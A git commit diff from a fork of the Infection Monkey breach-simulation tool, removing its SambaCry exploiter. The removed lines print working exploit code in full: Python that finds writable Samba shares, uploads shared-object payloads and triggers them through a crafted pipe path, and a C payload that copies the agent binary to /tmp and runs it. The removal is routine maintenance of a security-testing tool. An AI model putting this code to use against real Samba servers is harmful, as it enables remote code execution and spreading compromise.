forked from p15670423/monkey
Agent: remove sambacry exploiter code and related infrastructure/docs
This commit is contained in:
parent
d6e397871f
commit
73188e78cc
|
@ -242,22 +242,6 @@ class Configuration(object):
|
|||
smb_download_timeout = 300 # timeout in seconds
|
||||
smb_service_name = "InfectionMonkey"
|
||||
|
||||
# Timeout (in seconds) for sambacry's trigger to yield results.
|
||||
sambacry_trigger_timeout = 5
|
||||
# Folder paths to guess share lies inside.
|
||||
sambacry_folder_paths_to_guess = [
|
||||
"/",
|
||||
"/mnt",
|
||||
"/tmp",
|
||||
"/storage",
|
||||
"/export",
|
||||
"/share",
|
||||
"/shares",
|
||||
"/home",
|
||||
]
|
||||
# Shares to not check if they're writable.
|
||||
sambacry_shares_not_to_check = ["IPC$", "print$"]
|
||||
|
||||
###########################
|
||||
# post breach actions
|
||||
###########################
|
||||
|
|
|
@ -33,7 +33,6 @@
|
|||
"WmiExploiter",
|
||||
"ShellShockExploiter",
|
||||
"ElasticGroovyExploiter",
|
||||
"SambaCryExploiter",
|
||||
"Struts2Exploiter",
|
||||
"WebLogicExploiter",
|
||||
"HadoopExploiter",
|
||||
|
@ -67,9 +66,6 @@
|
|||
"exploit_lm_hash_list": [],
|
||||
"exploit_ntlm_hash_list": [],
|
||||
"exploit_ssh_keys": [],
|
||||
"sambacry_trigger_timeout": 5,
|
||||
"sambacry_folder_paths_to_guess": ["", "/mnt", "/tmp", "/storage", "/export", "/share", "/shares", "/home"],
|
||||
"sambacry_shares_not_to_check": ["IPC$", "print$"],
|
||||
"local_network_scan": false,
|
||||
"tcp_scan_get_banner": true,
|
||||
"tcp_scan_interval": 0,
|
||||
|
|
|
@ -1,548 +0,0 @@
|
|||
import itertools
|
||||
import logging
|
||||
import posixpath
|
||||
import re
|
||||
import time
|
||||
from io import BytesIO
|
||||
|
||||
import impacket.smbconnection
|
||||
from impacket.nmb import NetBIOSError
|
||||
from impacket.nt_errors import STATUS_SUCCESS
|
||||
from impacket.smb import (
|
||||
FILE_DIRECTORY_FILE,
|
||||
FILE_NON_DIRECTORY_FILE,
|
||||
FILE_OPEN,
|
||||
FILE_READ_DATA,
|
||||
FILE_SHARE_READ,
|
||||
FILE_WRITE_DATA,
|
||||
SMB,
|
||||
SMB_DIALECT,
|
||||
SessionError,
|
||||
SMBCommand,
|
||||
SMBNtCreateAndX_Data,
|
||||
SMBNtCreateAndX_Parameters,
|
||||
)
|
||||
from impacket.smb3structs import (
|
||||
SMB2_CREATE,
|
||||
SMB2_FLAGS_DFS_OPERATIONS,
|
||||
SMB2_IL_IMPERSONATION,
|
||||
SMB2_OPLOCK_LEVEL_NONE,
|
||||
SMB2Create,
|
||||
SMB2Create_Response,
|
||||
SMB2Packet,
|
||||
)
|
||||
from impacket.smbconnection import SMBConnection
|
||||
|
||||
import infection_monkey.monkeyfs as monkeyfs
|
||||
from common.utils.attack_utils import ScanStatus
|
||||
from infection_monkey.exploit.HostExploiter import HostExploiter
|
||||
from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey_by_os
|
||||
from infection_monkey.model import DROPPER_ARG
|
||||
from infection_monkey.network.smbfinger import SMB_SERVICE
|
||||
from infection_monkey.network.tools import get_interface_to_target
|
||||
from infection_monkey.pyinstaller_utils import get_binary_file_path
|
||||
from infection_monkey.telemetry.attack.t1105_telem import T1105Telem
|
||||
from infection_monkey.utils.commands import build_monkey_commandline
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class SambaCryExploiter(HostExploiter):
|
||||
"""
|
||||
SambaCry exploit module, partially based on the following implementation by CORE Security
|
||||
Technologies' impacket:
|
||||
https://github.com/CoreSecurity/impacket/blob/master/examples/sambaPipe.py
|
||||
"""
|
||||
|
||||
_TARGET_OS_TYPE = ["linux"]
|
||||
_EXPLOITED_SERVICE = "Samba"
|
||||
# Name of file which contains the monkey's commandline
|
||||
SAMBACRY_COMMANDLINE_FILENAME = "monkey_commandline.txt"
|
||||
# Name of file which contains the runner's result
|
||||
SAMBACRY_RUNNER_RESULT_FILENAME = "monkey_runner_result"
|
||||
# SambaCry runner filename (32 bit)
|
||||
SAMBACRY_RUNNER_FILENAME_32 = "sc_monkey_runner32.so"
|
||||
# SambaCry runner filename (64 bit)
|
||||
SAMBACRY_RUNNER_FILENAME_64 = "sc_monkey_runner64.so"
|
||||
# Monkey filename on share (32 bit)
|
||||
SAMBACRY_MONKEY_FILENAME_32 = "monkey32"
|
||||
# Monkey filename on share (64 bit)
|
||||
SAMBACRY_MONKEY_FILENAME_64 = "monkey64"
|
||||
# Supported samba port
|
||||
SAMBA_PORT = 445
|
||||
|
||||
def __init__(self, host):
|
||||
super(SambaCryExploiter, self).__init__(host)
|
||||
|
||||
def _exploit_host(self):
|
||||
if not self.is_vulnerable():
|
||||
return False
|
||||
|
||||
writable_shares_creds_dict = self.get_writable_shares_creds_dict(self.host.ip_addr)
|
||||
logger.info(
|
||||
"Writable shares and their credentials on host %s: %s"
|
||||
% (self.host.ip_addr, str(writable_shares_creds_dict))
|
||||
)
|
||||
|
||||
self.exploit_info["shares"] = {}
|
||||
for share in writable_shares_creds_dict:
|
||||
self.exploit_info["shares"][share] = {"creds": writable_shares_creds_dict[share]}
|
||||
self.try_exploit_share(share, writable_shares_creds_dict[share])
|
||||
|
||||
# Wait for samba server to load .so, execute code and create result file.
|
||||
time.sleep(self._config.sambacry_trigger_timeout)
|
||||
|
||||
successfully_triggered_shares = []
|
||||
|
||||
for share in writable_shares_creds_dict:
|
||||
trigger_result = self.get_trigger_result(
|
||||
self.host.ip_addr, share, writable_shares_creds_dict[share]
|
||||
)
|
||||
creds = writable_shares_creds_dict[share]
|
||||
self.report_login_attempt(
|
||||
trigger_result is not None,
|
||||
creds["username"],
|
||||
creds["password"],
|
||||
creds["lm_hash"],
|
||||
creds["ntlm_hash"],
|
||||
)
|
||||
if trigger_result is not None:
|
||||
successfully_triggered_shares.append((share, trigger_result))
|
||||
url = "smb://%(username)s@%(host)s:%(port)s/%(share_name)s" % {
|
||||
"username": creds["username"],
|
||||
"host": self.host.ip_addr,
|
||||
"port": self.SAMBA_PORT,
|
||||
"share_name": share,
|
||||
}
|
||||
self.add_vuln_url(url)
|
||||
self.clean_share(self.host.ip_addr, share, writable_shares_creds_dict[share])
|
||||
|
||||
for share, fullpath in successfully_triggered_shares:
|
||||
self.exploit_info["shares"][share]["fullpath"] = fullpath
|
||||
|
||||
if len(successfully_triggered_shares) > 0:
|
||||
logger.info(
|
||||
"Shares triggered successfully on host %s: %s"
|
||||
% (self.host.ip_addr, str(successfully_triggered_shares))
|
||||
)
|
||||
self.add_vuln_port(self.SAMBA_PORT)
|
||||
return True
|
||||
else:
|
||||
logger.info("No shares triggered successfully on host %s" % self.host.ip_addr)
|
||||
return False
|
||||
|
||||
def try_exploit_share(self, share, creds):
|
||||
"""
|
||||
Tries exploiting share
|
||||
:param share: share name
|
||||
:param creds: credentials to use with share
|
||||
"""
|
||||
try:
|
||||
smb_client = self.connect_to_server(self.host.ip_addr, creds)
|
||||
self.upload_module(smb_client, share)
|
||||
self.trigger_module(smb_client, share)
|
||||
except (impacket.smbconnection.SessionError, SessionError):
|
||||
logger.debug(
|
||||
"Exception trying to exploit host: %s, share: %s, with creds: %s."
|
||||
% (self.host.ip_addr, share, str(creds))
|
||||
)
|
||||
|
||||
def clean_share(self, ip, share, creds):
|
||||
"""
|
||||
Cleans remote share of any remaining files created by monkey
|
||||
:param ip: IP of victim
|
||||
:param share: share name
|
||||
:param creds: credentials to use with share.
|
||||
"""
|
||||
smb_client = self.connect_to_server(ip, creds)
|
||||
tree_id = smb_client.connectTree(share)
|
||||
file_list = [
|
||||
self.SAMBACRY_COMMANDLINE_FILENAME,
|
||||
self.SAMBACRY_RUNNER_RESULT_FILENAME,
|
||||
self.SAMBACRY_RUNNER_FILENAME_32,
|
||||
self.SAMBACRY_RUNNER_FILENAME_64,
|
||||
self.SAMBACRY_MONKEY_FILENAME_32,
|
||||
self.SAMBACRY_MONKEY_FILENAME_64,
|
||||
]
|
||||
|
||||
for filename in file_list:
|
||||
try:
|
||||
smb_client.deleteFile(share, "\\%s" % filename)
|
||||
except (impacket.smbconnection.SessionError, SessionError):
|
||||
# Ignore exception to try and delete as much as possible
|
||||
pass
|
||||
smb_client.disconnectTree(tree_id)
|
||||
|
||||
def get_trigger_result(self, ip, share, creds):
|
||||
"""
|
||||
Checks if the trigger yielded any result and returns it.
|
||||
:param ip: IP of victim
|
||||
:param share: share name
|
||||
:param creds: credentials to use with share.
|
||||
:return: result of trigger if there was one. None otherwise
|
||||
"""
|
||||
smb_client = self.connect_to_server(ip, creds)
|
||||
tree_id = smb_client.connectTree(share)
|
||||
file_content = None
|
||||
try:
|
||||
file_id = smb_client.openFile(
|
||||
tree_id, "\\%s" % self.SAMBACRY_RUNNER_RESULT_FILENAME, desiredAccess=FILE_READ_DATA
|
||||
)
|
||||
file_content = smb_client.readFile(tree_id, file_id)
|
||||
smb_client.closeFile(tree_id, file_id)
|
||||
except (impacket.smbconnection.SessionError, SessionError):
|
||||
pass
|
||||
|
||||
smb_client.disconnectTree(tree_id)
|
||||
return file_content
|
||||
|
||||
def get_writable_shares_creds_dict(self, ip):
|
||||
"""
|
||||
Gets dictionary of writable shares and their credentials
|
||||
:param ip: IP address of the victim
|
||||
:return: Dictionary of writable shares and their corresponding credentials.
|
||||
"""
|
||||
writable_shares_creds_dict = {}
|
||||
credentials_list = self.get_credentials_list()
|
||||
|
||||
logger.debug("SambaCry credential list: %s" % str(credentials_list))
|
||||
|
||||
for credentials in credentials_list:
|
||||
try:
|
||||
smb_client = self.connect_to_server(ip, credentials)
|
||||
shares = self.list_shares(smb_client)
|
||||
|
||||
# don't try shares we can already write to.
|
||||
for share in [x for x in shares if x not in writable_shares_creds_dict]:
|
||||
if self.is_share_writable(smb_client, share):
|
||||
writable_shares_creds_dict[share] = credentials
|
||||
|
||||
except (impacket.smbconnection.SessionError, SessionError, NetBIOSError):
|
||||
# If failed using some credentials, try others.
|
||||
pass
|
||||
|
||||
return writable_shares_creds_dict
|
||||
|
||||
def get_credentials_list(self):
|
||||
creds = self._config.get_exploit_user_password_or_hash_product()
|
||||
|
||||
creds = [
|
||||
{"username": user, "password": password, "lm_hash": lm_hash, "ntlm_hash": ntlm_hash}
|
||||
for user, password, lm_hash, ntlm_hash in creds
|
||||
]
|
||||
|
||||
# Add empty credentials for anonymous shares.
|
||||
creds.insert(0, {"username": "", "password": "", "lm_hash": "", "ntlm_hash": ""})
|
||||
|
||||
return creds
|
||||
|
||||
def list_shares(self, smb_client):
|
||||
shares = [x["shi1_netname"][:-1] for x in smb_client.listShares()]
|
||||
return [x for x in shares if x not in self._config.sambacry_shares_not_to_check]
|
||||
|
||||
def is_vulnerable(self):
|
||||
"""
|
||||
Checks whether the victim runs a possibly vulnerable version of samba
|
||||
:return: True if victim is vulnerable, False otherwise
|
||||
"""
|
||||
if SMB_SERVICE not in self.host.services:
|
||||
logger.info("Host: %s doesn't have SMB open" % self.host.ip_addr)
|
||||
return False
|
||||
|
||||
pattern = re.compile(r"\d*\.\d*\.\d*")
|
||||
smb_server_name = self.host.services[SMB_SERVICE].get("name")
|
||||
if not smb_server_name:
|
||||
logger.info("Host: %s refused SMB connection" % self.host.ip_addr)
|
||||
return False
|
||||
samba_version = "unknown"
|
||||
pattern_result = pattern.search(smb_server_name)
|
||||
is_vulnerable = False
|
||||
if pattern_result is not None:
|
||||
samba_version = smb_server_name[pattern_result.start() : pattern_result.end()]
|
||||
samba_version_parts = samba_version.split(".")
|
||||
if (samba_version_parts[0] == "3") and (samba_version_parts[1] >= "5"):
|
||||
is_vulnerable = True
|
||||
elif (samba_version_parts[0] == "4") and (samba_version_parts[1] <= "3"):
|
||||
is_vulnerable = True
|
||||
elif (
|
||||
(samba_version_parts[0] == "4")
|
||||
and (samba_version_parts[1] == "4")
|
||||
and (samba_version_parts[1] <= "13")
|
||||
):
|
||||
is_vulnerable = True
|
||||
elif (
|
||||
(samba_version_parts[0] == "4")
|
||||
and (samba_version_parts[1] == "5")
|
||||
and (samba_version_parts[1] <= "9")
|
||||
):
|
||||
is_vulnerable = True
|
||||
elif (
|
||||
(samba_version_parts[0] == "4")
|
||||
and (samba_version_parts[1] == "6")
|
||||
and (samba_version_parts[1] <= "3")
|
||||
):
|
||||
is_vulnerable = True
|
||||
else:
|
||||
# If pattern doesn't match we can't tell what version it is. Better try
|
||||
is_vulnerable = True
|
||||
|
||||
logger.info(
|
||||
"Host: %s.samba server name: %s. samba version: %s. is vulnerable: %s"
|
||||
% (self.host.ip_addr, smb_server_name, samba_version, repr(is_vulnerable))
|
||||
)
|
||||
|
||||
return is_vulnerable
|
||||
|
||||
def upload_module(self, smb_client, share):
|
||||
"""
|
||||
Uploads the module and all relevant files to server
|
||||
:param smb_client: smb client object
|
||||
:param share: share name
|
||||
"""
|
||||
tree_id = smb_client.connectTree(share)
|
||||
|
||||
with self.get_monkey_commandline_file(
|
||||
self._config.dropper_target_path_linux
|
||||
) as monkey_commandline_file:
|
||||
smb_client.putFile(
|
||||
share, "\\%s" % self.SAMBACRY_COMMANDLINE_FILENAME, monkey_commandline_file.read
|
||||
)
|
||||
|
||||
with self.get_monkey_runner_bin_file(True) as monkey_runner_bin_file:
|
||||
smb_client.putFile(
|
||||
share, "\\%s" % self.SAMBACRY_RUNNER_FILENAME_32, monkey_runner_bin_file.read
|
||||
)
|
||||
|
||||
with self.get_monkey_runner_bin_file(False) as monkey_runner_bin_file:
|
||||
smb_client.putFile(
|
||||
share, "\\%s" % self.SAMBACRY_RUNNER_FILENAME_64, monkey_runner_bin_file.read
|
||||
)
|
||||
|
||||
monkey_bin_32_src_path = get_target_monkey_by_os(False, True)
|
||||
monkey_bin_64_src_path = get_target_monkey_by_os(False, False)
|
||||
|
||||
with monkeyfs.open(monkey_bin_32_src_path, "rb") as monkey_bin_file:
|
||||
smb_client.putFile(
|
||||
share, "\\%s" % self.SAMBACRY_MONKEY_FILENAME_32, monkey_bin_file.read
|
||||
)
|
||||
|
||||
with monkeyfs.open(monkey_bin_64_src_path, "rb") as monkey_bin_file:
|
||||
smb_client.putFile(
|
||||
share, "\\%s" % self.SAMBACRY_MONKEY_FILENAME_64, monkey_bin_file.read
|
||||
)
|
||||
T1105Telem(
|
||||
ScanStatus.USED,
|
||||
get_interface_to_target(self.host.ip_addr),
|
||||
self.host.ip_addr,
|
||||
monkey_bin_64_src_path,
|
||||
).send()
|
||||
smb_client.disconnectTree(tree_id)
|
||||
|
||||
def trigger_module(self, smb_client, share):
|
||||
"""
|
||||
Tries triggering module
|
||||
:param smb_client: smb client object
|
||||
:param share: share name
|
||||
:return: True if might triggered successfully, False otherwise.
|
||||
"""
|
||||
trigger_might_succeeded = False
|
||||
module_possible_paths = self.generate_module_possible_paths(share)
|
||||
for module_path in module_possible_paths:
|
||||
trigger_might_succeeded |= self.trigger_module_by_path(smb_client, module_path)
|
||||
|
||||
return trigger_might_succeeded
|
||||
|
||||
def trigger_module_by_path(self, smb_client, module_path):
|
||||
"""
|
||||
Tries triggering module by path
|
||||
:param smb_client: smb client object
|
||||
:param module_path: full path of the module. e.g. "/home/user/share/sc_module.so"
|
||||
:return: True if might triggered successfully, False otherwise.
|
||||
"""
|
||||
|
||||
try:
|
||||
# the extra / on the beginning is required for the vulnerability
|
||||
self.open_pipe(smb_client, "/" + module_path)
|
||||
except Exception as e:
|
||||
# This is the expected result. We can't tell whether we succeeded or not just by this
|
||||
# error code.
|
||||
if str(e).find("STATUS_OBJECT_NAME_NOT_FOUND") >= 0:
|
||||
return True
|
||||
else:
|
||||
pass
|
||||
|
||||
return False
|
||||
|
||||
def generate_module_possible_paths(self, share_name):
|
||||
"""
|
||||
Generates array of possible paths
|
||||
:param share_name: Name of the share
|
||||
:return: Array of possible full paths to the module.
|
||||
"""
|
||||
sambacry_folder_paths_to_guess = self._config.sambacry_folder_paths_to_guess
|
||||
file_names = [self.SAMBACRY_RUNNER_FILENAME_32, self.SAMBACRY_RUNNER_FILENAME_64]
|
||||
return [
|
||||
posixpath.join(*x)
|
||||
for x in itertools.product(sambacry_folder_paths_to_guess, [share_name], file_names)
|
||||
]
|
||||
|
||||
def get_monkey_runner_bin_file(self, is_32bit):
|
||||
if is_32bit:
|
||||
return open(get_binary_file_path(self.SAMBACRY_RUNNER_FILENAME_32), "rb")
|
||||
else:
|
||||
return open(get_binary_file_path(self.SAMBACRY_RUNNER_FILENAME_64), "rb")
|
||||
|
||||
def get_monkey_commandline_file(self, location):
|
||||
return BytesIO(
|
||||
DROPPER_ARG
|
||||
+ build_monkey_commandline(
|
||||
self.host, get_monkey_depth() - 1, SambaCryExploiter.SAMBA_PORT, str(location)
|
||||
)
|
||||
)
|
||||
|
||||
@staticmethod
|
||||
def is_share_writable(smb_client, share):
|
||||
"""
|
||||
Checks whether the share is writable
|
||||
:param smb_client: smb client object
|
||||
:param share: share name
|
||||
:return: True if share is writable, False otherwise.
|
||||
"""
|
||||
logger.debug("Checking %s for write access" % share)
|
||||
try:
|
||||
tree_id = smb_client.connectTree(share)
|
||||
except (impacket.smbconnection.SessionError, SessionError):
|
||||
return False
|
||||
|
||||
try:
|
||||
smb_client.openFile(tree_id, "\\", FILE_WRITE_DATA, creationOption=FILE_DIRECTORY_FILE)
|
||||
writable = True
|
||||
except (impacket.smbconnection.SessionError, SessionError):
|
||||
writable = False
|
||||
pass
|
||||
|
||||
smb_client.disconnectTree(tree_id)
|
||||
|
||||
return writable
|
||||
|
||||
@staticmethod
|
||||
def connect_to_server(ip, credentials):
|
||||
"""
|
||||
Connects to server using given credentials
|
||||
:param ip: IP of server
|
||||
:param credentials: credentials to log in with
|
||||
:return: SMBConnection object representing the connection
|
||||
"""
|
||||
smb_client = SMBConnection(ip, ip)
|
||||
smb_client.login(
|
||||
credentials["username"],
|
||||
credentials["password"],
|
||||
"",
|
||||
credentials["lm_hash"],
|
||||
credentials["ntlm_hash"],
|
||||
)
|
||||
return smb_client
|
||||
|
||||
# Following are slightly modified SMB functions from impacket to fit our needs of the
|
||||
# vulnerability #
|
||||
@staticmethod
|
||||
def create_smb(
|
||||
smb_client,
|
||||
treeId,
|
||||
fileName,
|
||||
desiredAccess,
|
||||
shareMode,
|
||||
creationOptions,
|
||||
creationDisposition,
|
||||
fileAttributes,
|
||||
impersonationLevel=SMB2_IL_IMPERSONATION,
|
||||
oplockLevel=SMB2_OPLOCK_LEVEL_NONE,
|
||||
createContexts=None,
|
||||
):
|
||||
|
||||
packet = smb_client.getSMBServer().SMB_PACKET()
|
||||
packet["Command"] = SMB2_CREATE
|
||||
packet["TreeID"] = treeId
|
||||
if smb_client._SMBConnection._Session["TreeConnectTable"][treeId]["IsDfsShare"] is True:
|
||||
packet["Flags"] = SMB2_FLAGS_DFS_OPERATIONS
|
||||
|
||||
smb2Create = SMB2Create()
|
||||
smb2Create["SecurityFlags"] = 0
|
||||
smb2Create["RequestedOplockLevel"] = oplockLevel
|
||||
smb2Create["ImpersonationLevel"] = impersonationLevel
|
||||
smb2Create["DesiredAccess"] = desiredAccess
|
||||
smb2Create["FileAttributes"] = fileAttributes
|
||||
smb2Create["ShareAccess"] = shareMode
|
||||
smb2Create["CreateDisposition"] = creationDisposition
|
||||
smb2Create["CreateOptions"] = creationOptions
|
||||
|
||||
smb2Create["NameLength"] = len(fileName) * 2
|
||||
if fileName != "":
|
||||
smb2Create["Buffer"] = fileName.encode("utf-16le")
|
||||
else:
|
||||
smb2Create["Buffer"] = b"\x00"
|
||||
|
||||
if createContexts is not None:
|
||||
smb2Create["Buffer"] += createContexts
|
||||
smb2Create["CreateContextsOffset"] = (
|
||||
len(SMB2Packet()) + SMB2Create.SIZE + smb2Create["NameLength"]
|
||||
)
|
||||
smb2Create["CreateContextsLength"] = len(createContexts)
|
||||
else:
|
||||
smb2Create["CreateContextsOffset"] = 0
|
||||
smb2Create["CreateContextsLength"] = 0
|
||||
|
||||
packet["Data"] = smb2Create
|
||||
|
||||
packetID = smb_client.getSMBServer().sendSMB(packet)
|
||||
ans = smb_client.getSMBServer().recvSMB(packetID)
|
||||
if ans.isValidAnswer(STATUS_SUCCESS):
|
||||
createResponse = SMB2Create_Response(ans["Data"])
|
||||
|
||||
# The client MUST generate a handle for the Open, and it MUST
|
||||
# return success and the generated handle to the calling application.
|
||||
# In our case, str(FileID)
|
||||
return str(createResponse["FileID"])
|
||||
|
||||
@staticmethod
|
||||
def open_pipe(smb_client, pathName):
|
||||
# We need to overwrite Impacket's openFile functions since they automatically convert
|
||||
# paths to NT style
|
||||
# to make things easier for the caller. Not this time ;)
|
||||
treeId = smb_client.connectTree("IPC$")
|
||||
logger.debug("Triggering path: %s" % pathName)
|
||||
|
||||
if smb_client.getDialect() == SMB_DIALECT:
|
||||
_, flags2 = smb_client.getSMBServer().get_flags()
|
||||
|
||||
pathName = pathName.encode("utf-16le") if flags2 & SMB.FLAGS2_UNICODE else pathName
|
||||
|
||||
ntCreate = SMBCommand(SMB.SMB_COM_NT_CREATE_ANDX)
|
||||
ntCreate["Parameters"] = SMBNtCreateAndX_Parameters()
|
||||
ntCreate["Data"] = SMBNtCreateAndX_Data(flags=flags2)
|
||||
ntCreate["Parameters"]["FileNameLength"] = len(pathName)
|
||||
ntCreate["Parameters"]["AccessMask"] = FILE_READ_DATA
|
||||
ntCreate["Parameters"]["FileAttributes"] = 0
|
||||
ntCreate["Parameters"]["ShareAccess"] = FILE_SHARE_READ
|
||||
ntCreate["Parameters"]["Disposition"] = FILE_NON_DIRECTORY_FILE
|
||||
ntCreate["Parameters"]["CreateOptions"] = FILE_OPEN
|
||||
ntCreate["Parameters"]["Impersonation"] = SMB2_IL_IMPERSONATION
|
||||
ntCreate["Parameters"]["SecurityFlags"] = 0
|
||||
ntCreate["Parameters"]["CreateFlags"] = 0x16
|
||||
ntCreate["Data"]["FileName"] = pathName
|
||||
|
||||
if flags2 & SMB.FLAGS2_UNICODE:
|
||||
ntCreate["Data"]["Pad"] = 0x0
|
||||
|
||||
return smb_client.getSMBServer().nt_create_andx(treeId, pathName, cmd=ntCreate)
|
||||
else:
|
||||
return SambaCryExploiter.create_smb(
|
||||
smb_client,
|
||||
treeId,
|
||||
pathName,
|
||||
desiredAccess=FILE_READ_DATA,
|
||||
shareMode=FILE_SHARE_READ,
|
||||
creationOptions=FILE_OPEN,
|
||||
creationDisposition=FILE_NON_DIRECTORY_FILE,
|
||||
fileAttributes=0,
|
||||
)
|
|
@ -1,9 +0,0 @@
|
|||
#!/usr/bin/env bash
|
||||
gcc -c -Wall -Werror -fpic -m64 sc_monkey_runner.c
|
||||
gcc -shared -m64 -o sc_monkey_runner64.so sc_monkey_runner.o
|
||||
rm sc_monkey_runner.o
|
||||
strip sc_monkey_runner64.so
|
||||
gcc -c -Wall -Werror -fpic -m32 sc_monkey_runner.c
|
||||
gcc -shared -m32 -o sc_monkey_runner32.so sc_monkey_runner.o
|
||||
rm sc_monkey_runner.o
|
||||
strip sc_monkey_runner32.so
|
|
@ -1,163 +0,0 @@
|
|||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/stat.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include "sc_monkey_runner.h"
|
||||
|
||||
#ifdef __x86_64__
|
||||
#define ARCH_IS_64
|
||||
#endif
|
||||
|
||||
#ifdef _____LP64_____
|
||||
#define ARCH_IS_64
|
||||
#endif
|
||||
|
||||
#define LINE_MAX_LENGTH (2048)
|
||||
#define MAX_PARAMETERS (30)
|
||||
|
||||
int samba_init_module(void)
|
||||
{
|
||||
#ifdef ARCH_IS_64
|
||||
const char RUNNER_FILENAME[] = "sc_monkey_runner64.so";
|
||||
const char MONKEY_NAME[] = "monkey64";
|
||||
#else
|
||||
const char RUNNER_FILENAME[] = "sc_monkey_runner32.so";
|
||||
const char MONKEY_NAME[] = "monkey32";
|
||||
#endif
|
||||
const char RUNNER_RESULT_FILENAME[] = "monkey_runner_result";
|
||||
const char COMMANDLINE_FILENAME[] = "monkey_commandline.txt";
|
||||
const int ACCESS_MODE = 0777;
|
||||
const char RUN_MONKEY_CMD[] = "./";
|
||||
const char MONKEY_DEST_FOLDER[] = "/tmp";
|
||||
const char MONKEY_DEST_NAME[] = "monkey";
|
||||
|
||||
int found = 0;
|
||||
char modulePathLine[LINE_MAX_LENGTH] = {'\0'};
|
||||
char commandline[LINE_MAX_LENGTH] = {'\0'};
|
||||
char* monkeyDirectory = NULL;
|
||||
char* fileNamePointer = NULL;
|
||||
FILE * pFile = NULL;
|
||||
pid_t pid = 0;
|
||||
int monkeySize = 0;
|
||||
void* monkeyBinary = NULL;
|
||||
struct stat fileStats;
|
||||
|
||||
pid = fork();
|
||||
|
||||
if (0 != pid)
|
||||
{
|
||||
// error or this is parent - nothing to do but return.
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Find fullpath of running module.
|
||||
pFile = fopen("/proc/self/maps", "r");
|
||||
if (NULL == pFile)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
while (fgets(modulePathLine, LINE_MAX_LENGTH, pFile) != NULL) {
|
||||
fileNamePointer = strstr(modulePathLine, RUNNER_FILENAME);
|
||||
if (fileNamePointer != NULL) {
|
||||
found = 1;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
fclose(pFile);
|
||||
|
||||
// We can't find ourselves in module list
|
||||
if (0 == found)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
monkeyDirectory = strchr(modulePathLine, '/');
|
||||
*fileNamePointer = '\0';
|
||||
|
||||
if (0 != chdir(monkeyDirectory))
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Write file to indicate we're running
|
||||
pFile = fopen(RUNNER_RESULT_FILENAME, "w");
|
||||
if (NULL == pFile)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
fwrite(monkeyDirectory, 1, strlen(monkeyDirectory), pFile);
|
||||
fclose(pFile);
|
||||
|
||||
// Read commandline
|
||||
pFile = fopen(COMMANDLINE_FILENAME, "r");
|
||||
if (NULL == pFile)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Build commandline
|
||||
snprintf(commandline, sizeof(commandline), "%s%s ", RUN_MONKEY_CMD, MONKEY_DEST_NAME);
|
||||
|
||||
fread(commandline + strlen(commandline), 1, LINE_MAX_LENGTH, pFile);
|
||||
fclose(pFile);
|
||||
|
||||
if (0 != stat(MONKEY_NAME, &fileStats))
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
monkeySize = (int)fileStats.st_size;
|
||||
|
||||
// Copy monkey to new file so we'll own it.
|
||||
pFile = fopen(MONKEY_NAME, "rb");
|
||||
|
||||
if (NULL == pFile)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
monkeyBinary = malloc(monkeySize);
|
||||
|
||||
if (NULL == monkeyBinary)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
fread(monkeyBinary, 1, monkeySize, pFile);
|
||||
fclose(pFile);
|
||||
|
||||
if (0 != chdir(MONKEY_DEST_FOLDER))
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
pFile = fopen(MONKEY_DEST_NAME, "wb");
|
||||
if (NULL == pFile)
|
||||
{
|
||||
free(monkeyBinary);
|
||||
return 0;
|
||||
}
|
||||
fwrite(monkeyBinary, 1, monkeySize, pFile);
|
||||
fclose(pFile);
|
||||
free(monkeyBinary);
|
||||
|
||||
// Change monkey permissions
|
||||
if (0 != chmod(MONKEY_DEST_NAME, ACCESS_MODE))
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
|
||||
system(commandline);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int init_samba_module(void)
|
||||
{
|
||||
return samba_init_module();
|
||||
}
|
|
@ -1,7 +0,0 @@
|
|||
#ifndef monkey_runner_h__
|
||||
#define monkey_runner_h__
|
||||
|
||||
extern int samba_init_module(void);
|
||||
extern int init_samba_module(void);
|
||||
|
||||
#endif // monkey_runner_h__
|
|
@ -1,23 +0,0 @@
|
|||
import os
|
||||
import sys
|
||||
|
||||
|
||||
def get_binaries_dir_path():
|
||||
"""
|
||||
Gets the path to the binaries dir (files packaged in pyinstaller if it was used,
|
||||
infection_monkey dir otherwise)
|
||||
:return: Binaries dir path
|
||||
"""
|
||||
if getattr(sys, "frozen", False):
|
||||
return sys._MEIPASS
|
||||
else:
|
||||
return os.path.dirname(os.path.abspath(__file__))
|
||||
|
||||
|
||||
def get_binary_file_path(filename):
|
||||
"""
|
||||
Gets the path to a binary file
|
||||
:param filename: name of the file
|
||||
:return: Path to file
|
||||
"""
|
||||
return os.path.join(get_binaries_dir_path(), filename)
|
|
@ -3,10 +3,7 @@
|
|||
>To easily setup development environment for Monkey Island and the Monkey look into [deployment scripts](../../deployment_scripts) folder.
|
||||
>If you want to setup dev. env. for the Monkey manually, refer to the instructions below.
|
||||
|
||||
The monkey is composed of three separate parts.
|
||||
|
||||
- The Infection Monkey itself - PyInstaller compressed python archives
|
||||
- Sambacry binaries - Two linux binaries, 32/64 bit.
|
||||
The monkey is a PyInstaller compressed python archives.
|
||||
|
||||
## Windows
|
||||
|
||||
|
@ -18,18 +15,15 @@ The monkey is composed of three separate parts.
|
|||
- Run the following command on a cmd console (Replace C:\Python37 with your python directory if it's different)
|
||||
`setx /M PATH "%PATH%;C:\Python37;C:\Python37\Scripts`
|
||||
- Close the console, make sure you execute all commands in a new cmd console from now on.
|
||||
2. Install further dependencies
|
||||
1. Install further dependencies
|
||||
- if not installed, install Microsoft Visual C++ 2017 SP1 Redistributable Package
|
||||
